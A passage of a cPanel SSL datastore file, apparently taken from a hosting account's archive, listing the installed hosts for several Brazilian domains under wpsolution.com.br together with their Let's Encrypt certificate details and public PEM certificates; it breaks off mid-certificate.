File: /home/kbdhpghp/bemkasar.com.br/datastore.tar
ssl_FETCHINSTALLEDHOSTS 0000600 00000051235 15105745077 0010273 0 ustar 00 {"version":"2.4","status":1,"statusmsg":"Ran adminbin Cpanel/ssl/FETCHINSTALLEDHOSTS","mode":"full","action":"fetch","timeout":0,"error":0,"exit_code":0,"data":{"hosts":[{"needs_sni":1,"servername":"wpsolution.com.br","is_primary_on_ip":0,"ip":"192.168.0.109","certificate":{"modulus_length":2048,"is_self_signed":0,"validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","domains":["leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.wpsolution.com.br","wpsolution.com.br","www.wpsolution.com.br"],"auto_ssl_provider_display_name":"Let’s Encrypt™","issuer.organizationName":"Let's Encrypt","subject.commonName":"www.wpsolution.com.br","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR11","subject_text":"commonName\nwww.wpsolution.com.br","id":"www_wpsolution_com_br_dc87a_f1727_1759708197_7c357aae0d93ef70ee6958953a4ec325","is_autossl":1,"modulus":"dc87abfcd700b00594b7226136122e97e06c5f524154ad3ff2971ac42ffcfe0a00fa0156f2c24bf545dfed3bb0d40a9300bc347bd285bb3c67c371128022250cadbe63a3073a98839f4e2d6e6ec5d9da20b1d383d31025a3bdf3e7fb03aa09b2b3a3c31b809569fd2360679e96c25c23cca297652d80e6c58ed29256fad84cfecd0245d693efc23411b4202e627efcd517c441bb1937487505c58b7d2271cf595ddda93c716d369dbec63455dbda32082f190710b6eb5a6d7a98ff7d3848fe4c15db65c54c234371c2db9627a1994ca2b8c0ada062d1a6af0808a88a8568c432853c6ec83caaf2de07ab560e503f12bbbdeeb09055c0455d9a930ecbcbff1727","not_after":1759708197,"not_before":1751932198,"issuer.commonName":"R11","auto_ssl_provider":"LetsEncrypt"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIFZzCCBE+gAwIBAgISBuECP6C+yHXUPsVv2xMlxlWwMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTEwHhcNMjUwNzA3MjM0OTU4WhcNMjUxMDA1MjM0OTU3WjAgMR4wHAYDVQQD\nExV3d3cud3Bzb2x1dGlvbi5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQDch6v81wCwBZS3ImE2Ei6X4GxfUkFUrT/ylxrEL/z+CgD6AVbywkv1\nRd/tO7DUCpMAvDR70oW7PGfDcRKAIiUMrb5jowc6mIOfTi1ubsXZ2iCx04PTECWj\nvfPn+wOqCbKzo8MbgJVp/SNgZ56WwlwjzKKXZS2A5sWO0pJW+thM/s0CRdaT78I0\nEbQgLmJ+/NUXxEG7GTdIdQXFi30icc9ZXd2pPHFtNp2+xjRV29oyCC8ZBxC261pt\nepj/fThI/kwV22XFTCNDccLbliehmUyiuMCtoGLRpq8ICKiKhWjEMoU8bsg8qvLe\nB6tWDlA/Eru97rCQVcBFXZqTDsvL/xcnAgMBAAGjggKGMIICgjAOBgNVHQ8BAf8E\nBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC\nMAAwHQYDVR0OBBYEFIa0i+VIRA7MEZ6C2HVBbJXXOfRVMB8GA1UdIwQYMBaAFMXP\nRqTq9MPAemyVxC2wXpIvJuO5MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX\naHR0cDovL3IxMS5pLmxlbmNyLm9yZy8wgYAGA1UdEQR5MHeCM2xlaWFyYWRpZXN0\nZXNpYXRlcmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIWbWFpbC53\ncHNvbHV0aW9uLmNvbS5icoIRd3Bzb2x1dGlvbi5jb20uYnKCFXd3dy53cHNvbHV0\naW9uLmNvbS5icjATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAf\nhh1odHRwOi8vcjExLmMubGVuY3Iub3JnLzQ5LmNybDCCAQQGCisGAQQB1nkCBAIE\ngfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABl+eB\nbxAAAAQDAEcwRQIgY7qNLD/v1hav5CCISLGyA0NvhLzzNdLywAl/3B8aMuECIQCn\nXPqq9CfFPAIe9X6lNmu0F+iH3NEfRVXahZ2kLyEHIQB2AH1ZHhLheCp7HGFnfF79\n+NCHXBSgTpWeuQMv2Q6MLnm4AAABl+eBdmsAAAQDAEcwRQIhAL/d5D0uAxZ8tK8m\nzfFzsvnIPcXk/XxgdZae2oN2CJzUAiB/Uzm/yVIUDI6Dxj8RP6fWfir0ZU5P/ozJ\n0pcr9jsuaTANBgkqhkiG9w0BAQsFAAOCAQEANvKLlwOuxU1SHu83CrOMxboyoMUh\nVC79oxHDdBAzDLTWIYLjeARQvviOQ4GnzWwxUlV91/4oy9JH2wAy29ZycvSSuuPc\nKxOoPhPP2ydGFgGdZ2oUOJP8ekSJc7HLyE+7oo3vOloM7+rzEuAe5VaLQUnAbZRz\nUm/wp3uxlq73cz+U94Fnsj9tCqCAlGlI7e2QRRx96Po1ETmPkltYWp0tc1vJhWNs\n0++hwYbbt5+pnZjkSzBaQNnIYZgyVPDNdc156u9LhiIznXDAaFL0ReOv0Hn8ltRs\nA79h74srrP1ASy6vxdgE9Nv0l6bcp1T/kuIVTuq8Dgb/vloyqE2zPhmoGw==\n-----END CERTIFICATE-----"},{"needs_sni":1,"is_primary_on_ip":0,"certificate":{"auto_ssl_provider":"LetsEncrypt","not_before":1756244625,"issuer.commonName":"R13","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","is_self_signed":0,"modulus_length":2048,"subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","auto_ssl_provider_display_name":"Let’s Encrypt™"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----","ip":"192.168.0.109","servername":"leiaradiestesiaterapeutica.com.br.wpsolution.com.br"},{"is_primary_on_ip":0,"needs_sni":1,"ip":"192.168.0.109","servername":"bemkasar.com.br.wpsolution.com.br","certificate":{"auto_ssl_provider":"LetsEncrypt","issuer.commonName":"R13","not_before":1756244625,"issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","auto_ssl_provider_display_name":"Let’s Encrypt™","subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"is_self_signed":0,"modulus_length":2048,"signature_algorithm":"sha256WithRSAEncryption","validation_type":"dv"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----"},{"is_primary_on_ip":0,"needs_sni":1,"servername":"atenaleaders.com.br.wpsolution.com.br","ip":"192.168.0.109","certificate":{"subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","auto_ssl_provider_display_name":"Let’s Encrypt™","validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","is_self_signed":0,"modulus_length":2048,"domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","not_after":1764020624,"is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","auto_ssl_provider":"LetsEncrypt","issuer.commonName":"R13","not_before":1756244625},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----"},{"ip":"192.168.0.109","servername":"vivenciarteatelie.com.br.wpsolution.com.br","certificate":{"subject_text":"commonName\nmail.atenaleaders.com.br","is_autossl":1,"id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","not_before":1756244625,"issuer.commonName":"R13","auto_ssl_provider":"LetsEncrypt","validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","modulus_length":2048,"is_self_signed":0,"domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"issuer.organizationName":"Let's Encrypt","subject.commonName":"mail.atenaleaders.com.br","auto_ssl_provider_display_name":"Let’s Encrypt™"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5p